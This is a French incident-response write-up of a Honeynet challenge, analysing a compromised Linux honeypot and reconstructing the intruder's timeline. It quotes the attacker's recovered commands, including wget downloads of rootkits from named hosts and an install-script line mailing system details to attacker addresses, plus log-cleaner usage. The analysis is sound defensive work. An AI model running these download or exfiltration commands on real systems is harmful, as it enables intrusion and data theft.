Le projet Honeynet propose régulièrement d'étudier des outils, des tactiques utilisées par des pirates lors d'intrusion pour démontrer la réalité de ces attaques, pour apprendre comment un pirate agit, pour s'en protéger et plus généralement pour améliorer les technologies et méthodes de collecte d'information. Dans ce but, des Honeypots ont été connectés sur Internet. Ces pots de miel permettent de collecter un maximum d'information sur les agissements des pirates.
Le 10 août 2003, un système Linux RedHat 7.2 a été compromis. Le but du challenge 29 est d'analyser ce système. Ce qui rend ce challenge unique est qu'il consiste en l'analyse du système vivant. Le système tournant sous VMware un instantané du système a été pris. Il nous faut donc à partir d'un VMware Workstation 4.0 étudier cette image. Pour aider dans cette analyse, des sommes de contrôle MD5 des fichiers du système ont été prises avant son déploiement et sont disponibles sur le site de l'Honeynet Project.
Pour commencer, récupérer sur le site de l'Honeynet l'image VMware et le fichier contenant les empreintes MD5.
[kmaster@christophe sotm29]$ md5sum linux-suspended* 1db2459dd36ac98fdcf59d1abac0f776 linux-suspended-md5s.gz d95a8c351e048bd7d5596d6fc49b6d72 linux-suspended.tar.bz2
Vérifions l'intégrité de l'image. L'empreinte MD5 de
linux-suspended.tar.bz2
correspond.
[kmaster@christophe sotm29]$ tar xvjf linux-suspended.tar.bz2 linux-2/ linux-2/linux.vmdk linux-2/linux.vmx linux-2/vmware.log linux-2/nvram linux-2/linux.vmss linux-2/linux.png [kmaster@christophe sotm29]$ gzip -d linux-suspended-md5s.gz [kmaster@christophe sotm29]$ ls -l linux-2 total 535488 -rw-r--r-- 1 kmaster kmaster 95790 aoû 11 05:30 linux.png -rw------- 1 kmaster kmaster 446169088 aoû 11 05:30 linux.vmdk -rw------- 1 kmaster kmaster 101465277 aoû 11 05:30 linux.vmss -rwxr-xr-x 1 kmaster kmaster 777 jui 15 06:51 linux.vmx -rw------- 1 kmaster kmaster 8664 aoû 11 05:30 nvram -rw-r--r-- 1 kmaster kmaster 35519 aoû 11 05:30 vmware.log
Dans le fichier, linux.vmx
se trouve la configuration réseau:
ethernet0.addressType = "generated" ethernet0.generatedAddress = "00:0c:29:89:42:93" ethernet0.generatedAddressOffset = "0" Ethernet0.vnet = "/dev/vmnet0"
Le device /dev/vmnet0
propre à VMware correspond
à une interface en mode pont (bridge), c'est à dire à une
passerelle de niveau 2 (niveau 2=adresse MAC, niveau 3=adresse IP).
Nous apprenons à partir du fichier vmware.log
que la session
précédente à commencer le 9 août à 14:34:23 pour être suspendu le 10 à
20:30:24. La géométrie du disque virtuel est 512/128/32.
Il y a deux sortes de disque VMware:
Dans notre cas, le disque VMware est en mode compact, c'est à dire que l'on
ne peut pas utiliser la commande mount
pour accéder aux données.
Nous utiliserons l'équivalent venant avec VMware.
[kmaster@christophe linux-2]$ vmware-mount.pl -p linux.vmdk -------------------------------------------- VMware for Linux - Virtual Hard Disk Mounter Version: 1.0 build-5592\nCopyright 1998 VMware, Inc. All rights reserved. -- VMware Confidential -------------------------------------------- Nr Start Size Type Id Sytem -- ---------- ---------- ---- -- ------------------------ 1 32 1884128 BIOS 83 Linux 2 1884160 212992 BIOS 82 Linux swap
Le disque compte deux partitions: une partition racine Linux et une partition swap.
[root@christophe linux-2]# vmware-mount.pl linux.vmdk 1 -t ext3 -o ro /tmp -------------------------------------------- VMware for Linux - Virtual Hard Disk Mounter Version: 1.0 build-5592\nCopyright 1998 VMware, Inc. All rights reserved. -- VMware Confidential -------------------------------------------- It has been reported that this program does not work correctly with 2.4+ Linux kernels in some cases, and you are currently running such a kernel. Do you really want to continue? [N] Y Network Block Device driver detected. Client: The partition is now mapped on the /dev/nb0 Network Block Device. mount : type fs incorrect, option incorrecte, superbloc incorrect sur /dev/nb0, ou trop de systèmes de fichiers montés Unable to mount the Network Block Device on the /tmp mount point. Please make sure that nothing is currently using the mount point and that your kernel supports the partition type you want to mount before re-running this script. [root@christophe linux-2]# Warning: Unable to issue the NBD_CLEAR_SOCK ioctl: Invalid argument [root@christophe linux-2]# tail -f /var/log/messages Sep 3 13:44:21 christophe kernel: NBD: Recv control failed.(result 0) Sep 3 13:44:21 christophe kernel: req should never be null Sep 3 13:44:21 christophe kernel: nbd: shutting down socket Sep 3 13:44:21 christophe kernel: nbd: queue cleared Sep 3 13:47:41 christophe kernel: EXT3-fs: Magic mismatch, very weird ! Sep 3 13:47:41 christophe kernel: NBD: receive - sock=-920767340 at buf=-987693352, size=16 returned 0. Sep 3 13:47:41 christophe kernel: NBD: Recv control failed.(result 0) Sep 3 13:47:41 christophe kernel: req should never be null Sep 3 13:47:41 christophe kernel: nbd: shutting down socket Sep 3 13:47:41 christophe kernel: nbd: queue cleared
Malheureusement, ce logiciel ne fonctionne pas, on ne peut accéder aux données avec les propres outils de VMware.
Après avoir installé VMware (Les versions d'évaluation fonctionnent un mois),
exécuter vmware-config.pl
en tant que root pour le configurer.
Dans la partie configuration du réseau, utiliser uniquement vmnet0
pour établir une passerelle (bridge) vers l'interface réseau eth0.
Configurer votre Linux avec ipconfig eth0:0 192.168.1.1
.
Désactiver l'IP-Forwarding s'il est activé. Il est même conseiller
de faire tourner votre machine hors ligne.
En tant qu'utilisateur, lancer vmware
et ouvrir le fichier
linux.vmx
Cliquer sur Snapshot. Cette image instantanée nous aidera à revenir
dans l'état initial. C'est très important pour réduire l'impact
de nos actions sur le système.
Le processus (swapd)
a ouvert une socket obsolète SOCK_PACKET (Linux 2.0),
SOCK_PACKET et SOCK_RAW (man 7 packet) sont utilisés couramment par les sniffers.
eth0 est en mode promiscuous, il n'y a pas de doute: (swapd)
est un sniffer.
Récupérons des informations sur le système
[root@localhost root]# ./netstat -pan Active Internet connections (servers and established) Proto Recv-Q Send-Q Local Address Foreign Address State PID/Program name tcp 0 0 0.0.0.0:139 0.0.0.0:* LISTEN 845/smbd tcp 0 0 0.0.0.0:79 0.0.0.0:* LISTEN 732/xinetd tcp 0 0 0.0.0.0:80 0.0.0.0:* LISTEN 3137/smbd -D tcp 0 0 0.0.0.0:113 0.0.0.0:* LISTEN 677/identd tcp 0 0 0.0.0.0:2003 0.0.0.0:* LISTEN 3137/smbd -D tcp 0 0 0.0.0.0:21 0.0.0.0:* LISTEN 732/xinetd tcp 0 0 0.0.0.0:22 0.0.0.0:* LISTEN 699/sshd tcp 0 0 0.0.0.0:23 0.0.0.0:* LISTEN 732/xinetd tcp 0 0 0.0.0.0:65336 0.0.0.0:* LISTEN 15119/initd tcp 0 0 0.0.0.0:3128 0.0.0.0:* LISTEN 25241/xopen tcp 0 0 127.0.0.1:25 0.0.0.0:* LISTEN 759/sendmail: accep tcp 0 0 0.0.0.0:443 0.0.0.0:* LISTEN 3137/smbd -D tcp 0 0 0.0.0.0:65436 0.0.0.0:* LISTEN 15119/initd tcp 0 0 192.168.1.79:1163 192.168.1.1:32858 TIME_WAIT - tcp 0 0 192.168.1.79:1160 192.168.1.1:32856 TIME_WAIT - tcp 0 0 192.168.1.79:65336 213.154.118.200:1188 ESTABLISHED 15119/initd tcp 0 0 192.168.1.79:1153 192.168.1.1:32851 TIME_WAIT - tcp 0 0 192.168.1.79:1157 192.168.1.1:32854 TIME_WAIT - tcp 0 9 192.168.1.79:1149 64.62.96.42:6667 ESTABLISHED 15119/initd tcp 0 0 192.168.1.79:1146 199.184.165.133:6667 ESTABLISHED 15119/initd udp 0 0 192.168.1.79:137 0.0.0.0:* 850/nmbd udp 0 0 0.0.0.0:137 0.0.0.0:* 850/nmbd udp 0 0 192.168.1.79:138 0.0.0.0:* 850/nmbd udp 0 0 0.0.0.0:138 0.0.0.0:* 850/nmbd udp 0 0 0.0.0.0:3049 0.0.0.0:* 25239/xopen Active UNIX domain sockets (servers and established) Proto RefCnt Flags Type State I-Node PID/Program name Path unix 2 [ ACC ] STREAM LISTENING 943 778/gpm /dev/gpmctl unix 4 [ ] DGRAM 7984 3247/syslogd /dev/log unix 2 [ ] DGRAM 15679 732/xinetd unix 2 [ ] DGRAM 7993 3252/klogd unix 2 [ ] DGRAM 1078 893/login -- root unix 2 [ ] DGRAM 990 820/crond unix 2 [ ] DGRAM 924 759/sendmail: accep unix 2 [ ] DGRAM 834 677/identd unix 2 [ ] DGRAM 804 657/apmd unix 2 [ ] STREAM CONNECTED 417 1/init Active IPX sockets Proto Recv-Q Send-Q Local Address Foreign Address State
# ./lsof -n > lsof.txt
Quelques extraits:
(swapd) 3153 root txt REG 8,1 18439 92033 /usr/bin/(swapd) (swapd) 3153 root 1u CHR 3,0 35324 /dev/ttyp0 (swapd) 3153 root 7w REG 8,1 775 77075 /usr/lib/libice.log initd 15119 root 4w REG 8,1 3593 92097 /etc/opt/psybnc/log/psybnc.log initd 15119 root 8w REG 8,1 0 92098 /etc/opt/psybnc/log/USER1.TRL initd 15119 root 10w REG 8,1 0 92099 /etc/opt/psybnc/log/USER2.TRL xopen 25239 root txt REG 8,1 217667 18413 /lib/.x/s/xopen xopen 25239 root 1w REG 8,1 2442 47152 /lib/.x/install.log xopen 25239 root 5u sock 0,0 3626 can't identify protocol xopen 25239 root 8u IPv4 9972 UDP *:3049 xopen 25239 root 16u IPv4 976 TCP *:https (LISTEN) xopen 25239 root 17u IPv4 977 TCP *:http (LISTEN) xopen 25241 root 5u sock 0,0 3626 can't identify protocol xopen 25241 root 8u IPv4 12302 TCP *:squid (LISTEN) xopen 25241 root 16u IPv4 976 TCP *:https (LISTEN) xopen 25241 root 17u IPv4 977 TCP *:http (LISTEN) lsn 25247 root cwd DIR 8,1 4096 18410 /lib/.x/s lsn 25247 root 0u sock 0,0 9975 can't identify protocol lsn 25247 root 1w REG 8,1 10109 18417 /lib/.x/s/mfs
rpm -qa --last
n'indique aucune installation récente de RPM.[root@sbm79 chkrootkit-0.40]# ./chkrootkit -q Checking `ifconfig'... INFECTED Checking `ls'... INFECTED Checking `netstat'... INFECTED Checking `ps'... INFECTED Checking `top'... INFECTED /dev/ttyop /dev/ttyoa /usr/lib/perl5/5.6.0/i386-linux/.packlist /lib/.x /lib/.x/.boot /lib/.x Warning: `//root/.bash_history' is linked to another file INFECTED (PORTS: 3049) You have 4 process hidden for ps command Warning: Possible LKM Trojan installed eth0 is PROMISC unable to open lastlog-file lastlog
Quelques informations intéressantes peuvent être trouvées en mémoire.
strings linux.vmss > memory.strings
ls -a inel1979.go.ro/mass2.tgz as.ro/rootkit.tar /rk.tar.gz ls -a cd /usr/lib wget irinel1979.go.ro/a.tgz cd /tmp wget irinel1979.go.ro/a.tgz tar -zxvf a.tgz ls -a cd a wget geocities.com/mybabywhy/rk.tar.gz tar -zxvf rk.tar.gz cd sand ./install wget geocities.com/gavish19/abc.tgz
sh-2.05# wget geocities.com/gavish19/abc.tgz --13:34:23-- http://geocities.com/gavish19/abc.tgz => `abc.tgz' Connecting to geocities.com:80... [+] Signal caught [+] Shellcode placed at 0x4001189d [+] Now wait for suid shell... sh-2.05# sh-2.05# wget geocities.com/mybabywhy/rk.tar.gz --13:33:08-- http://geocities.com/mybabywhy/rk.tar.gz => `rk.tar.gz' Connecting to geocities.com:80... connected! HTTP request sent, awaiting response... 200 OK Length: 701,944 [application/x-gzip]
Le pirate a téléchargé plusieurs fichiers sur Internet.
Recherchons ceux qui ont été récupérés avec wget
.
[kmaster@christophe sotm29]$ grep "wget " memory.strings |sort -u sh-2.05# wget geocities.com/gavish19/abc.tgz sh-2.05# wget geocities.com/mybabywhy/rk.tar.gz wget geocities.com/gavish19/abc.tgz wget geocities.com/mybabywhy/rk.tar.gz wget irinel1979.go.ro/a.tgz wget irinel1979.go.ro/er.tgz wget irinel1979.go.ro/mass2.tgz wget irinel1979.netfirms.com/er.tgz wget izolam.net/gods wget izolam.net/sslstop.tar.gz wget www.i-need-ftp.as.ro/ttt.tgz wget www.irinel1979.go.ro/er.tgz wget www.lugojteam.as.rootkit.tar wget www.lugojteam.as.ro/rootkit.tar wget www.psychoid.lam3rz.de/psybnc. ## You can use this file to change the default behaviour of wget or to
Plusieurs fichiers ont été téléchargés. D'autres sont aussi disponibles sur les sites utilisés par le pirate:
http://geocities.com/mybabywhy/ Parent Directory 31-Mar-2003 08:26 - [ ] e.tar.gz 28-May-2003 14:21 363k [ ] install.tgz 20-May-2003 14:41 1k [ ] libncurses.so.zip 18-Sep-2003 14:20 104k [ ] mech.tgz 29-May-2003 13:58 189k [ ] party.tgz 05-Apr-2003 12:32 9k [ ] pass.tgz 28-May-2003 14:29 223k [ ] psybnc.tar.gz 31-Mar-2003 10:38 305k [ ] rk.tgz 16-May-2003 19:14 685k http://www.angelz.3x.ro/ Parent Directory 19-Sep-2003 19:03 - [ ] e.tgz 27-May-2003 14:33 173k [ ] instal.tgz 21-May-2003 00:32 1k [DIR] mp3/ 13-May-2003 11:41 - [ ] rk.tar.gz 18-May-2003 10:30 338k [ ] rk.tgz 19-May-2003 22:30 926k [ ] root.tar.gz 17-May-2003 05:12 685k [ ] root.tgz 19-May-2003 20:46 926k [DIR] shells/ 13-May-2003 10:49 - [ ] ussl.tar.gz 20-May-2003 23:54 25k [DIR] windows/ 13-May-2003 10:49 -
Une analyse de ces fichiers peut être trouvés en annexe.
Depuis le système VMware, changer le mot de passe root et récupérer une copie de la partition ext3 via ssh:
ssh root@192.168.1.79 cat /dev/sda > sda.dd
Le problème de cette méthode est que SSH va accéder à de nombreux fichiers et altérer de ce fait le système. De manière à réduire l'impact de la copie, le plus sur est de mounter une image ISO, par exemple Forensic and Incident Response Environment http://biatchux.dmzs.com/ ou Penguin Sleuth Kit Bootable CD http://www.linux-forensics.com, une version à base de Knoppix, et de copier le disque via netcat
Sur le honeypot,
# dd if=/dev/sda bs=4k | nc -w 3 192.168.1.1 9000
Sur la machine où l'on récupère l'image,
# nc -l -p 9000 > sda.dd
Le système de fichier du Honeypot a été analysé avec SleuthKit et Autopsy. Il faut découper l'image du disque en partitions, utilisons mmls, un outil du SleuthKit, pour déterminer le début et la taille de chaque partition.
[kmaster@christophe data]$ ~/tools/filesystem/sleuthkit-1.65/bin/mmls -t dos sda.dd DOS Partition Table Units are in 512-byte sectors Slot Start End Length Description 00: ----- 0000000000 0000000000 0000000001 Primary Table (#0) 01: ----- 0000000001 0000000031 0000000031 Unallocated 02: 00:00 0000000032 0001884159 0001884128 Linux (0x83) 03: 00:01 0001884160 0002097151 0000212992 Linux Swap / Solaris x86 (0x82) [kmaster@christophe data]$ dd if=sda.dd skip=32 count=1884128 of=sda1.dd 1884128+0 records in 1884128+0 records out [kmaster@christophe data]$ dd if=sda.dd skip=1884160 count=212992 of=sda2.dd 212992+0 records in 212992+0 records out [kmaster@christophe data]$ md5sum sda1.dd sda2.dd 7ac2653ff4434fe30b6e119c862277bf sda1.dd cfeea6d4aa9e3114c1b4c0a9bcd166b7 sda2.dd
Le Honeypot utilise l'heure de Los Angeles (cf /etc/sysconfig/clock), donc la zone PST8PDT. Ajoutons ensuite la partition ext3 et le swap.
Dans Hash Databases
, indexons la base des empreintes MD5 avec
IndexDB
dans la section Ignore Database
. Ouvrons
la racine, File Type
, Sort Files by Type
Cette étape indique que 606 fichiers ont été modifiés. On identifie ainsi rapidement différents répertoires où effectuer des recherches.
Add Note
, cela permettra
de construire un historique des actions sur le système.
Voici la liste des mots recherchés avec Keyword Search
:
|
|
La création d'une timeline des évènements à partir du 10 août permet de recréer la chronologie des évenements en observant les dates de modification, d'accès ou de création des fichiers.
La plupart des antivirus est capable de détecter les troyens les plus courant. En utilisant une version d'essai d'InterScan Virus Wall, un antivirus de chez Trend, j'ai vérifié les fichiers du HoneyPot et le répertoire où j'ai téléchargé les différentes archives du pirate. Il faut pour cela mounter la partition en lecture/écriture, il est préférable de travailler sur une seconde copie car cela va modifier le système de fichier.
Virus | Fichier |
---|---|
Système | |
PERL_ROOTKIT.C | /mnt/tmp/usr/bin/sense |
ELF_BLITZ | /mnt/tmp/usr/bin/sl2 |
ELF_RST.B | /mnt/tmp/usr/lib/sp0 |
ELF_GMON.A | /mnt/tmp/lib/.x/log |
ELF_GMON.A | /mnt/tmp/lib/.x/cl |
ELF_GMON.A | /mnt/tmp/lib/.x/s/xopen |
er.tgz | |
ELF_HACKTOP.A | bin/top |
UNIX_LION.A-1 | bin/sz |
UNIX_LION.A-2 | bin/tksb |
ELF_HACKTOP.A | lib/libproc.so.2.0.6 |
mass2.tgz | |
ELF_RST.B | mass2/mass |
ELF_RST.B | mass2/vuln |
ELF_RST.B | mass2/osslmass2 |
ELF_RST.B | mass2/openssl-too |
rk.tar.gz | |
PERL_ROOTKIT.C | sand/sense |
ELF_BLITZ | sand/sl2 |
ELF_ROOTKIT.C2 | sand/swapd2 |
rootkit.tar | |
ELF_ROOTKIT40-7 | rootkit/ifconfig |
PERL_ROOTKIT.C | rootkit/plasa/sense |
Virus | Description |
---|---|
ELF_ROOTKIT40-7 | Infecte les exécutables. |
ELF_BLITZ | Attaque réseau SynFlood |
ELF_GMON.A |
Ce virus de fichiers exécutables fonctionne sous Linux.
Lors de son exécution, il cherche et infecte tout les fichiers ELF
du répertoire courant. Il ajoute 8 759 octets de code viral sur le fichier
cible. Pour éviter les surinfections, il utilise la chaîne de texte OSF
pour s'identifier.
|
ELF_HACKTOP.A | Ce cheval de Troie fonctionne sous Linux. Il apparaît comme un exécutable ELF classique, la commande top permettant de surveiller les processus. Lorsqu'il est exécuter, il permet un accès distant. Il communique aussi des informations à un pirate distant. |
ELF_ROOTKIT.C2 | Virus de fichier |
ELF_RST.B |
Ce virus, similaire à ELF_GMON.A, se reconnaît par la présence du texte
snortdos et tory .
Linux.RST
|
PERL_ROOTKIT.C | Virus de fichier |
UNIX_LION.A-1 | Virus de fichier |
UNIX_LION.A-2 |
Efface les lignes révélant la présence du ver UNIX_LION.A dans les fichiers
de log du répertoire /var/log .
|
Exemple de contamination provoquée par l'exécution de /lib/.x/cl
,
fichier infecté par ELF_GMON.A
[tmp@christophe tmp]$ md5sum hello 2091cd99017fc9a9508abde55b531ed6 hello [tmp@christophe tmp]$ /tmp/cl Die Putze 0.6 - The ultimate unix logfile cleaner... asciifile options: -s <string> - removes string from logfiles. -f <file> <string> - removes string from file. utmp options: -u <username> - removes username from utmp. -u <username> <tty> - removes user on given tty. wtmp options: -w <username> - removes last entry from wtmp. -w <username> <tty> - removes last entry on given tty. -ww <username> - removes all entries for username. lastlog options: -l <username> - removes username lastlog entry. misc options: -h - to get this! Report bugs to <genius@h07.org>. [tmp@christophe tmp]$ md5sum hello 7a6ded8e53beee5bbfc2a32fdd2db236 hello
Des recherches sur Internet (http://www.security-focus.com/archive/100/247640)
m'ont appris que ELF_GMON.A
comporte une backdoor UDP et
ELF_RST.B
, sa variante, une backdoor plus complexe utilisant des
paquets avec le protocole EGP.
En utilisant les informations collectées lors de ces différentes étapes, j'ai reconstitué la chronologie de cette attaque.
Le pirate s'est connecté sur le serveur web depuis l'adresse
213.154.118.219 (extreme-service-11.is.pcnet.ro).
Extrait du fragment 114422, Apache: access_log,
213.154.118.219 - - [10/Aug/2003:13:16:27 -0700] "GET / HTTP/1.1" 400 385 "-" "-" 213.154.118.219 - - [10/Aug/2003:13:16:37 -0700] "GET / HTTP/1.1" 400 385 "-" "-" 213.154.118.219 - - [10/Aug/2003:13:23:17 -0700] "GET /sumthin HTTP/1.0" 404 279 "-" "-"
L'étape suivante a été l'intrusion via la faille SSL handshake d'Apache.
En utilisant cette vulnérabilité, le pirate a obtenu un accès en tant qu'utilisateur apache.
Extrait du fragment 114381, Apache: ssl_engine_log,
[10/Aug/2003 13:24:29 02937] [error] SSL handshake failed (server localhost.localdomain:443, client 213.154.118.219) (OpenSSL library error follows) [10/Aug/2003 13:24:29 02937] [error] OpenSSL: error:1406908F:SSL routines:GET_CLIENT_FINISHED:connection id is different [10/Aug/2003 13:32:38 03024] [error] SSL handshake failed (server localhost.localdomain:443, client 213.154.118.219) (OpenSSL library error follows) [10/Aug/2003 13:32:38 03024] [error] OpenSSL: error:1406908F:SSL routines:GET_CLIENT_FINISHED:connection id is different
Le pirate a obtenu entre-temps les privilèges root! Comment a-t-il fait ? Il a sans doute utilisé la faille ptrace comme il le refera à 15:30:30, L'exploit qu'il utilisera alors envoie automatiquement un mail, or le fichier maillog a été effacé et aucune trace de mail n'a été trouvé à cette heure-ci. Il a peut-être utilisé le même programme d'exploitation ou peut-être une variante.
En tant que root, il télécharge un rootkit.
D'après un extrait de la mémoire du système, rk.tar.gz
a été
téléchargé à 13:33:08 depuis geocities.com/mybabywhy/rk.tar.gz
Extrait de deleted /root/.bash_history
wget geocities.com/mybabywhy/rk.tar.gz tar -zxvf rk.tar.gz cd sand ./install
# ls -clir --full-time -- /dev/ttyo* /dev/hdx1 /dev/hdx2 ... 92010 -rwx------ 1 root root 8268 Sun Aug 10 13:33:33 2003 /usr/bin/sl2 92006 -rwx------ 1 root root 98 Sun Aug 10 13:33:33 2003 /usr/bin/logclear 92028 -r-x------ 1 root root 13707 Sun Aug 10 13:33:33 2003 /usr/bin/crontabs 92030 -rwxr-xr-x 1 root root 672527 Sun Aug 10 13:33:33 2003 /usr/bin/smbd -D 44775 -rwxr-xr-x 1 root root 83132 Sun Aug 10 13:33:33 2003 /usr/lib/libshtift/netstat 45227 -r-xr-xr-x 1 root root 63180 Sun Aug 10 13:33:33 2003 /usr/lib/libshtift/ps 45105 -rwxr-xr-x 2 root root 45948 Sun Aug 10 13:33:33 2003 /usr/lib/libshtift/ls 44780 -rwxr-xr-x 1 root root 51164 Sun Aug 10 13:33:33 2003 /usr/lib/libshtift/ifconfig 60091 -r-xr-xr-x 1 root root 34924 Sun Aug 10 13:33:33 2003 /usr/lib/libshtift/top 91850 -rw------- 1 root root 539 Sun Aug 10 13:33:33 2003 /usr/include/icekey.h 92015 -rw-r--r-- 1 root root 692 Sun Aug 10 13:33:33 2003 /usr/include/iceconf.h 3176 -rw-r--r-- 1 root root 5 Sun Aug 10 13:33:33 2003 /usr/include/icepid.h 92033 -rwxr-xr-x 1 root root 18439 Sun Aug 10 13:33:35 2003 /usr/bin/(swapd) 62629 -rw-r--r-- 1 root root 5 Sun Aug 10 13:33:35 2003 /usr/bin/x.pid 92023 -rw-r--r-- 1 root root 2 Sun Aug 10 13:33:35 2003 /usr/lib/libsss 92018 -rwxr-xr-x 1 root root 134 Sun Aug 10 13:33:57 2003 /dev/ttyoa 92025 -rwxr-xr-x 1 root root 59 Sun Aug 10 13:33:57 2003 /dev/ttyof 92024 -rwxr-xr-x 1 root root 74 Sun Aug 10 13:33:57 2003 /dev/ttyop 92009 -rwxr-xr-x 1 root root 4060 Sun Aug 10 13:33:57 2003 /usr/bin/sense 92032 -rwxr-xr-x 1 506 506 165136 Sun Aug 10 13:33:57 2003 /bin/pico 92017 -rwxr-xr-x 1 root root 48856 Sun Aug 10 13:33:57 2003 /usr/bin/top 92013 -rwxr-xr-x 1 root root 30640 Sun Aug 10 13:33:57 2003 /bin/netstat 92022 -rwxr-xr-x 1 root root 36692 Sun Aug 10 13:33:57 2003 /bin/ls 92011 -rwxr-xr-x 1 root root 32756 Sun Aug 10 13:33:57 2003 /bin/ps 92016 -rwxr-xr-x 1 root root 22328 Sun Aug 10 13:33:57 2003 /sbin/ifconfig # md5sum /usr/lib/libshtift/* e984302652a0c59469a0d8826ae3cdeb usr/lib/libshtift/ifconfig 3e743c6bfa1e34f2f2164c6a1f1096d0 usr/lib/libshtift/ls 0ea03807e53e90b147c4309573ebc76a usr/lib/libshtift/netstat 881c7af31f6f447e29820fb73dc1dd9a usr/lib/libshtift/ps 6091c2a0a9231844d1ee9d43f29e6767 usr/lib/libshtift/top
Les fichiers originaux de ifconfig, ls, netstat, ps et top ont été sauvegardés dans le répertoire /usr/lib/libshtift
.
Extrait de sand/install
./sysinfo > informatii echo " ${WHI}Imediat iti trimit Mail ${BLU}BAH${WHI} mai ai rabdare 2 min..${RES}" echo " " cat informatii|mail -s "SANDERS root" mybabywhy@yahoo.com cat informatii|mail -s "SANDERS root" buskyn17@yahoo.comExtrait du fragment 16003: Mail to mybabywhy@yahoo.com information
H?D?Date: Sun, 10 Aug 2003 13:33:56 -0700 H?F?From: root <root> H?x?Full-Name: root H?M?Message-Id: <200308102033.h7AKXuZ03201@localhost.localdomain> H??To: mybabywhy@yahoo.com H??Subject: SANDERS root
Extrait de la commande ps axu
:
root 3137 0.0 0.7 1900 716 ? S 13:33 0:03 smbd -D root 3153 0.0 0.7 1664 704 ? S 13:33 0:00 (swapd) root 3247 0.0 0.6 1472 592 ? S 13:33 0:00 syslogd -m 0 root 3252 0.0 1.1 1984 1096 ? S 13:33 0:00 klogd -2
Remarque, une commande ps axuwe --width 10000
permet d'obtenir
encore plus d'information en incorporant l'environnement du processus.
En particulier, on peut remarquer que syslogd a été redémaré avec le répertoire
courant /tmp/sand et que initd/psyBNC a enfin le hostname de configuré sur
sbm79.dtc.apu.edu et non plus localhost.localdomain.
Début du fichier /var/log/boot.log
Aug 10 13:33:57 localhost syslog: syslogd startup succeeded Aug 10 13:33:57 localhost syslog: klogd startup succeeded Aug 10 13:33:32 localhost syslog: syslogd shutdown succeeded Aug 10 13:33:56 localhost syslog: klogd shutdown failed Aug 10 13:33:57 localhost syslog: syslogd shutdown failed
Pour résumer:
wget geocities.com/gavish19/abc.tgz wget geocities.com/gavish19/abc.tgz wget www.lugojteam.as.ro/rootkit.tar ls -a cd informatii wget www.lugojteam.as.ro/rootkit.tar cd /tmp ls -a wget www.lugojteam.as.ro/rootkit.tar wget irinel1979.go.ro/mass2.tgz ls -a
Le pirate a téléchargé d'autres outils. Analyse de abc.tgz Analyse de mass2.tgz
Extrait du fichier /var/log/boot.log
:
Aug 10 14:13:47 localhost sshd: sshd -TERM failed
Extrait du fichier /var/log/maillog
:
Aug 10 14:14:01 localhost sendmail[4763]: h7ALE1t04763: from=apache, size=1300, class=0, nrcpts=1, msgid=<200308102114.h7ALE1t04763@localhost.localdomain>, relay=apache@localhost Aug 10 14:14:01 localhost sendmail[4768]: h7ALE1t04763: to=jijeljijel@yahoo.com, ctladdr=apache (48/48), delay=00:00:00, xdelay=00:00:00, mailer=esmtp, pri=31300, relay=mx1.mail.yahoo.com. [64.157.4.78], dsn=2.0.0, stat=Sent (ok dirdel)
[kmaster@christophe sotm29]$ grep -r jijeljijel rootkit rootkit/install:cat /tmp/info | mail -s "SoNkErIkI HaCk" jijeljijel@yahoo.com
Un mail a été envoyé à jijeljijel@yahoo.com
, cette adresse email
figure dans le programme rootkit/install
, mais celui-ci n'a
vraisemblablement jamais été lancé car aucun programme de ce rootkit n'a été installé.
Aug 10 14:14:41 localhost smbd -D[5505]: log: Connection from 213.154.118.218 port 2020 Aug 10 14:17:08 localhost smbd -D[8170]: log: Connection from 213.154.118.218 port 2021 Aug 10 14:17:09 localhost smbd -D[3137]: log: Generating new 768 bit RSA key. Aug 10 14:17:10 localhost smbd -D[3137]: log: RSA key generation complete. Aug 10 14:17:17 localhost smbd -D[8170]: log: Password authentication for root failed. Aug 10 14:17:21 localhost smbd -D[8170]: log: Password authentication failed for user root from extreme-service-10.is.pcnet.ro. Aug 10 14:17:21 localhost smbd -D[8170]: log: Password authentication for root failed. Aug 10 14:17:26 localhost smbd -D[8170]: log: Password authentication failed for user root from extreme-service-10.is.pcnet.ro. Aug 10 14:17:26 localhost smbd -D[8170]: log: Password authentication for root failed. Aug 10 14:17:38 localhost smbd -D[8170]: log: Password authentication failed for user root from extreme-service-10.is.pcnet.ro. Aug 10 14:17:38 localhost smbd -D[8170]: log: Password authentication for root failed. Aug 10 14:17:42 localhost smbd -D[8170]: log: Password authentication failed for user root from extreme-service-10.is.pcnet.ro. Aug 10 14:17:42 localhost smbd -D[8170]: log: Password authentication for root failed. Aug 10 14:17:47 localhost smbd -D[8170]: fatal: Local: Too many password authentication attempts from extreme-service-10.is.pcnet.ro for user root.
92007 -rw------- 1 root root 512 Sun Aug 10 14:17:53 2003 /usr/include/iceseed.h
Le pirate n'a pas réussi à stopper le serveur SSH mais il a installé son propre
serveur smbd -D
sur le port 2003. Cependant, le pirate ne connaît
même pas le mot de passe de la backdoor qui s'y trouve.
35804 ---------- 1 root root 0 Sun Aug 10 15:30:30 2003 /dev/hdx1 35833 ---------- 1 root root 0 Sun Aug 10 15:30:30 2003 /dev/hdx2 8988 -rwsr-sr-x 1 root root 24116 Sun Aug 10 15:30:30 2003 /dev/shm/k
Le virus ELF.RST.B a créé les fichiers /dev/hdx1
et /dev/hdx2
(Plus
d'information sur ce virus)
quand un des fichiers infectés (/usr/lib/sp0
probablement) a été exécuté
par l'utilisateur root.
/dev/shm/k
est un exploit root pour la faille Linux kernel ptrace/kmod,
il envoie à chaque exécution un email à newptraceuser@yahoo.com
.
Il a donc été lancé à 15:30:30.
Aug 10 15:30:30 localhost sendmail[23300]: h7AMUUn23300: from=apache, size=43, class=0, nrcpts=1, msgid=>200308102230.h7AMUUn23300@localhost.localdomain<, relay=apache@localhost Aug 10 15:30:31 localhost sendmail[23321]: h7AMUVC23321: from=apache, size=43, class=0, nrcpts=1, msgid=>200308102230.h7AMUVC23321@localhost.localdomain<, relay=apache@localhost Aug 10 15:37:40 localhost sendmail[23320]: h7AMUUn23300: to=newptraceuser@yahoo.com, ctladdr=apache (48/48), delay=00:07:10, xdelay=00:07:10, mailer=esmtp, pri=30043, relay=mx4.mail.yahoo.com. [216.136.129.6], dsn=2.0.0, stat=Sent (ok dirdel) Aug 10 15:42:31 localhost sendmail[23331]: h7AMUVC23321: to=newptraceuser@yahoo.com, ctladdr=apache (48/48), delay=00:12:00, xdelay=00:12:00, mailer=esmtp, pri=30043, relay=mx4.mail.yahoo.com. [216.136.129.17], dsn=4.0.0, stat=Deferred: Connection timed out with mx4.mail.yahoo.com.
gods (Trouvé sur la partition racine dans le fragment 36691)
est un script shell qui télécharge depuis izolam.net
un LKM adore et
